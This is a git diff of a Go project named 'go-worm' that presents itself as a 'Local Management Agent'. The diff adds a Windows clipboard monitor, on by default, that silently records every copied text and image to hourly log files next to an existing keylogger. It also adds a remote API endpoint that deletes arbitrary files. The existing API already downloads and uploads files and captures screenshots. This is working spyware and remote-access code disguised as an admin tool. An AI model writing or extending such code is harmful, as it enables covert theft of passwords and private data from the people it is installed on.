diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 52828ed..84866f2 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/clipmon" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" @@ -48,10 +49,14 @@ func New() (*Agent, error) { if err := keylog.Start(); err != nil { helpers.Log.Printf("keylog start: %v", err) } + if err := clipmon.Start(); err != nil { + helpers.Log.Printf("clipboard monitor start: %v", err) + } return a, nil } func (a *Agent) Close() { + clipmon.Stop() keylog.Stop() if a.guard != nil { a.guard.Close() diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 0ab794e..39cd15a 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version}, "paths": map[string]any{ "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, - "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, + "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, "/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, @@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { } func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { + switch r.Method { + case http.MethodGet: + a.listFiles(w, r) + case http.MethodDelete: + a.deleteFile(w, r) + default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") - return } +} + +func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) { depth, err := files.ParseDepth(r.URL.Query().Get("depth")) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) @@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries}) } +func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) { + path := r.URL.Query().Get("path") + if path == "" { + helpers.WriteError(w, http.StatusBadRequest, "path is required") + return + } + if err := files.RemovePath(a.root, path); err != nil { + files.WritePathError(w, err) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path}) +} + func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 29e7830..beb137c 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -130,6 +130,15 @@ return res.json(); } + async function deleteFile(fullPath, name) { + if (!confirm(`Delete ${name}?`)) { + return; + } + const query = new URLSearchParams({ path: fullPath }); + await api(`/api/v1/files?${query}`, { method: "DELETE" }); + await listFiles(pathInput.value.trim()); + } + async function listFiles(path) { const query = new URLSearchParams(); if (path) query.set("path", path); @@ -164,7 +173,17 @@ size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0); const modified = document.createElement("td"); modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : ""; - tr.append(name, type, size, modified); + const action = document.createElement("td"); + const del = document.createElement("button"); + del.type = "button"; + del.textContent = "Delete"; + const full = joinPath(data.path, entry.name); + del.addEventListener("click", (event) => { + event.stopPropagation(); + deleteFile(full, entry.name).catch((err) => showError(err.message)); + }); + action.append(del); + tr.append(name, type, size, modified, action); fileRows.append(tr); } } diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 4642055..53a8826 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -171,7 +171,7 @@

- +
NameTypeSizeModified
NameTypeSizeModified
diff --git a/lib/clipmon/clipmon.go b/lib/clipmon/clipmon.go new file mode 100644 index 0000000..d1e46a6 --- /dev/null +++ b/lib/clipmon/clipmon.go @@ -0,0 +1,104 @@ +package clipmon + +import ( + "sync" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +var ( + mu sync.Mutex + running bool + writer *Writer + events chan Event + stopCh chan struct{} + doneCh chan struct{} + writerWG sync.WaitGroup +) + +func Start() error { + if !config.ClipboardEnabled() { + return nil + } + + mu.Lock() + defer mu.Unlock() + if running { + return nil + } + dir, err := config.ClipboardDir() + if err != nil { + return err + } + if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil { + return err + } + w, err := NewWriter(dir) + if err != nil { + return err + } + events = make(chan Event, 64) + stopCh = make(chan struct{}) + doneCh = make(chan struct{}) + + writerWG.Add(1) + go func() { + defer writerWG.Done() + for { + select { + case event := <-events: + _ = w.Write(event) + case <-stopCh: + _ = w.Close() + return + } + } + }() + + if err := startPlatform(w, events, stopCh, doneCh); err != nil { + close(stopCh) + writerWG.Wait() + events = nil + stopCh = nil + doneCh = nil + return err + } + + writer = w + running = true + return nil +} + +func Stop() { + mu.Lock() + if !running { + mu.Unlock() + return + } + stop := stopCh + done := doneCh + running = false + writer = nil + events = nil + stopCh = nil + doneCh = nil + mu.Unlock() + + if stop != nil { + close(stop) + } + writerWG.Wait() + if done != nil { + <-done + } +} + +func emit(event Event) { + event.Time = time.Now() + select { + case events <- event: + default: + // ponytail: drop when full + } +} diff --git a/lib/clipmon/clipmon_test.go b/lib/clipmon/clipmon_test.go new file mode 100644 index 0000000..b951b41 --- /dev/null +++ b/lib/clipmon/clipmon_test.go @@ -0,0 +1,58 @@ +package clipmon + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestFormatLine(t *testing.T) { + t.Parallel() + when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC) + line := formatLine(Event{Time: when, Kind: "text", Text: "hello"}) + if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") { + t.Fatalf("formatLine text = %q", line) + } + img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"}) + if !strings.Contains(img, "[image] images/ab.png") { + t.Fatalf("formatLine image = %q", img) + } +} + +func TestWriterHourly(t *testing.T) { + dir := t.TempDir() + w, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local) + if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil { + t.Fatalf("Write: %v", err) + } + _ = w.Close() + + data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when)))) + if err != nil { + t.Fatalf("read log: %v", err) + } + if !strings.Contains(string(data), "copied") { + t.Fatalf("log = %q", data) + } +} + +func TestSavePNG(t *testing.T) { + dir := t.TempDir() + w, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0}) + if err != nil { + t.Fatalf("SavePNG: %v", err) + } + if !strings.HasPrefix(rel, "images/") { + t.Fatalf("rel = %q", rel) + } +} diff --git a/lib/clipmon/event.go b/lib/clipmon/event.go new file mode 100644 index 0000000..c200682 --- /dev/null +++ b/lib/clipmon/event.go @@ -0,0 +1,10 @@ +package clipmon + +import "time" + +type Event struct { + Time time.Time + Kind string // "text" or "image" + Text string + ImagePath string // relative to clipboard dir, e.g. images/abc.png +} diff --git a/lib/clipmon/format.go b/lib/clipmon/format.go new file mode 100644 index 0000000..9ced3e5 --- /dev/null +++ b/lib/clipmon/format.go @@ -0,0 +1,37 @@ +package clipmon + +import ( + "fmt" + "path/filepath" + "regexp" + "strings" + "time" +) + +const hourBucketLayout = "2006-01-02-15" + +var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`) + +func HourBucket(t time.Time) string { + return t.Local().Format(hourBucketLayout) +} + +func LogFilename(bucket string) string { + return bucket + ".log" +} + +func ValidLogFilename(name string) bool { + return logFilenamePattern.MatchString(filepath.Base(name)) +} + +func formatLine(event Event) string { + when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z") + switch event.Kind { + case "image": + return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath) + default: + text := strings.ReplaceAll(event.Text, "\r\n", "\n") + text = strings.ReplaceAll(text, "\r", "\n") + return fmt.Sprintf("%s [text]\n%s\n", when, text) + } +} diff --git a/lib/clipmon/monitor_stub.go b/lib/clipmon/monitor_stub.go new file mode 100644 index 0000000..f62d4e4 --- /dev/null +++ b/lib/clipmon/monitor_stub.go @@ -0,0 +1,8 @@ +//go:build !windows + +package clipmon + +func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error { + close(done) + return nil +} diff --git a/lib/clipmon/monitor_windows.go b/lib/clipmon/monitor_windows.go new file mode 100644 index 0000000..c3d0715 --- /dev/null +++ b/lib/clipmon/monitor_windows.go @@ -0,0 +1,231 @@ +//go:build windows + +package clipmon + +import ( + "bytes" + "encoding/binary" + "image" + "image/color" + "image/png" + "strings" + "syscall" + "time" + "unsafe" +) + +const ( + cfBitmap = 2 + cfDIB = 8 + cfUnicodeText = 13 +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procOpenClipboard = user32.NewProc("OpenClipboard") + procCloseClipboard = user32.NewProc("CloseClipboard") + procGetClipboardData = user32.NewProc("GetClipboardData") + procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable") + procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber") + procGlobalLock = kernel32.NewProc("GlobalLock") + procGlobalUnlock = kernel32.NewProc("GlobalUnlock") + procGlobalSize = kernel32.NewProc("GlobalSize") +) + +type bitmapInfoHeader struct { + Size uint32 + Width int32 + Height int32 + Planes uint16 + BitCount uint16 + Compression uint32 + SizeImage uint32 + XPelsPerMeter int32 + YPelsPerMeter int32 + ClrUsed uint32 + ClrImportant uint32 +} + +func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { + go func() { + defer close(done) + pollClipboard(w, stop) + }() + return nil +} + +func pollClipboard(w *Writer, stop <-chan struct{}) { + lastSeq := sequenceNumber() + ticker := time.NewTicker(300 * time.Millisecond) + defer ticker.Stop() + + for { + select { + case <-stop: + return + case <-ticker.C: + seq := sequenceNumber() + if seq == lastSeq { + continue + } + lastSeq = seq + captureClipboard(w) + } + } +} + +func sequenceNumber() uint32 { + n, _, _ := procGetClipboardSequenceNumber.Call() + return uint32(n) +} + +func captureClipboard(w *Writer) { + ok, _, _ := procOpenClipboard.Call(0) + if ok == 0 { + return + } + defer procCloseClipboard.Call() + + if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" { + emit(Event{Kind: "text", Text: TrimText(text)}) + } + if pngData, ok := readClipboardImage(); ok { + rel, err := w.SavePNG(pngData) + if err != nil { + return + } + emit(Event{Kind: "image", ImagePath: rel}) + } +} + +func readClipboardText() (string, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText) + if ok == 0 { + return "", false + } + handle, _, _ := procGetClipboardData.Call(cfUnicodeText) + if handle == 0 { + return "", false + } + ptr, _, _ := procGlobalLock.Call(handle) + if ptr == 0 { + return "", false + } + defer procGlobalUnlock.Call(handle) + size, _, _ := procGlobalSize.Call(handle) + if size == 0 { + return "", false + } + data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2) + for i, unit := range data { + if unit == 0 { + return syscall.UTF16ToString(data[:i]), true + } + } + return syscall.UTF16ToString(data), true +} + +func readClipboardImage() ([]byte, bool) { + if dib, ok := readClipboardDIB(); ok { + return dib, true + } + return readClipboardBitmap() +} + +func readClipboardDIB() ([]byte, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB) + if ok == 0 { + return nil, false + } + handle, _, _ := procGetClipboardData.Call(cfDIB) + if handle == 0 { + return nil, false + } + ptr, _, _ := procGlobalLock.Call(handle) + if ptr == 0 { + return nil, false + } + defer procGlobalUnlock.Call(handle) + size, _, _ := procGlobalSize.Call(handle) + if size == 0 { + return nil, false + } + raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size) + return dibToPNG(append([]byte(nil), raw...)) +} + +func readClipboardBitmap() ([]byte, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap) + if ok == 0 { + return nil, false + } + // ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB + return nil, false +} + +func dibToPNG(raw []byte) ([]byte, bool) { + if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) { + return nil, false + } + var header bitmapInfoHeader + if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil { + return nil, false + } + if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 { + return nil, false + } + width := int(header.Width) + height := int(header.Height) + if width <= 0 || height <= 0 || width > 8192 || height > 8192 { + return nil, false + } + topDown := false + if height < 0 { + topDown = true + height = -height + } + + headerSize := int(header.Size) + colorTable := int(header.ClrUsed) * 4 + if header.BitCount <= 8 && header.ClrUsed == 0 { + colorTable = (1 << header.BitCount) * 4 + } + offset := headerSize + colorTable + if offset > len(raw) { + return nil, false + } + pixels := raw[offset:] + stride := ((width*int(header.BitCount) + 31) / 32) * 4 + if len(pixels) < stride*height { + return nil, false + } + + img := image.NewRGBA(image.Rect(0, 0, width, height)) + bytesPerPixel := int(header.BitCount) / 8 + for y := 0; y < height; y++ { + srcY := y + if !topDown { + srcY = height - 1 - y + } + row := pixels[srcY*stride:] + for x := 0; x < width; x++ { + i := x * bytesPerPixel + if i+2 >= len(row) { + continue + } + b, g, r := row[i], row[i+1], row[i+2] + a := uint8(255) + if bytesPerPixel == 4 && i+3 < len(row) { + a = row[i+3] + } + img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a}) + } + } + + var out bytes.Buffer + if err := png.Encode(&out, img); err != nil { + return nil, false + } + return out.Bytes(), true +} diff --git a/lib/clipmon/writer.go b/lib/clipmon/writer.go new file mode 100644 index 0000000..69513ac --- /dev/null +++ b/lib/clipmon/writer.go @@ -0,0 +1,153 @@ +package clipmon + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "os" + "path/filepath" + "strings" + "time" +) + +const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry + +type Writer struct { + dir string + imagesDir string + file *os.File + bucket string +} + +func NewWriter(dir string) (*Writer, error) { + imagesDir := filepath.Join(dir, "images") + if err := os.MkdirAll(imagesDir, 0o700); err != nil { + return nil, err + } + return &Writer{dir: dir, imagesDir: imagesDir}, nil +} + +func (w *Writer) Write(event Event) error { + bucket := HourBucket(event.Time) + if bucket != w.bucket { + if err := w.rotate(bucket); err != nil { + return err + } + } + _, err := w.file.WriteString(formatLine(event)) + return err +} + +func (w *Writer) SavePNG(data []byte) (string, error) { + name, err := randomName(".png") + if err != nil { + return "", err + } + path := filepath.Join(w.imagesDir, name) + if err := os.WriteFile(path, data, 0o600); err != nil { + return "", fmt.Errorf("write image: %w", err) + } + return filepath.ToSlash(filepath.Join("images", name)), nil +} + +func (w *Writer) rotate(bucket string) error { + if w.file != nil { + if err := w.file.Close(); err != nil { + return err + } + w.file = nil + } + path := filepath.Join(w.dir, LogFilename(bucket)) + file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + w.file = file + w.bucket = bucket + return nil +} + +func (w *Writer) Close() error { + if w.file == nil { + return nil + } + err := w.file.Close() + w.file = nil + w.bucket = "" + return err +} + +func TrimText(text string) string { + if len(text) <= maxLoggedText { + return text + } + return text[:maxLoggedText] + "\n...(truncated)" +} + +func randomName(ext string) (string, error) { + var buf [16]byte + if _, err := rand.Read(buf[:]); err != nil { + return "", err + } + if !strings.HasPrefix(ext, ".") { + ext = "." + ext + } + return hex.EncodeToString(buf[:]) + ext, nil +} + +func PruneOld(dir string, retentionDays int) error { + if retentionDays <= 0 { + return nil + } + cutoff := time.Now().AddDate(0, 0, -retentionDays) + if err := pruneLogs(dir, cutoff); err != nil { + return err + } + return pruneImages(filepath.Join(dir, "images"), cutoff) +} + +func pruneLogs(dir string, cutoff time.Time) error { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil + } + return err + } + for _, entry := range entries { + if entry.IsDir() || !ValidLogFilename(entry.Name()) { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + if info.ModTime().Before(cutoff) { + _ = os.Remove(filepath.Join(dir, entry.Name())) + } + } + return nil +} + +func pruneImages(dir string, cutoff time.Time) error { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil + } + return err + } + for _, entry := range entries { + if entry.IsDir() { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + if info.ModTime().Before(cutoff) { + _ = os.Remove(filepath.Join(dir, entry.Name())) + } + } + return nil +} diff --git a/lib/config/config.go b/lib/config/config.go index a7ed25b..d104db1 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -25,6 +25,7 @@ const ( AppDataDir = "LocalManagementAgent" InstalledExeName = "localagent.exe" KeylogSubdir = "keystrokes" + ClipboardSubdir = "clipboard" DefaultKeylogRetentionDays = 7 ) @@ -79,3 +80,32 @@ func InstalledExe() (string, error) { } return filepath.Join(dir, InstalledExeName), nil } + +func ClipboardEnabled() bool { + switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) { + case "0", "false", "no", "off": + return false + default: + return true + } +} + +func ClipboardRetentionDays() int { + raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS")) + if raw == "" { + return KeylogRetentionDays() + } + days, err := strconv.Atoi(raw) + if err != nil || days < 0 { + return DefaultKeylogRetentionDays + } + return days +} + +func ClipboardDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, ClipboardSubdir), nil +} diff --git a/lib/files/files.go b/lib/files/files.go index 2225fa7..50a0ebc 100644 --- a/lib/files/files.go +++ b/lib/files/files.go @@ -166,3 +166,18 @@ func UploadTarget(root, dir, filename string) (string, error) { } return target, nil } + +func RemovePath(root, raw string) error { + path, err := AllowedPath(root, raw, true) + if err != nil { + return err + } + info, err := os.Stat(path) + if err != nil { + return err + } + if info.IsDir() { + return os.RemoveAll(path) + } + return os.Remove(path) +}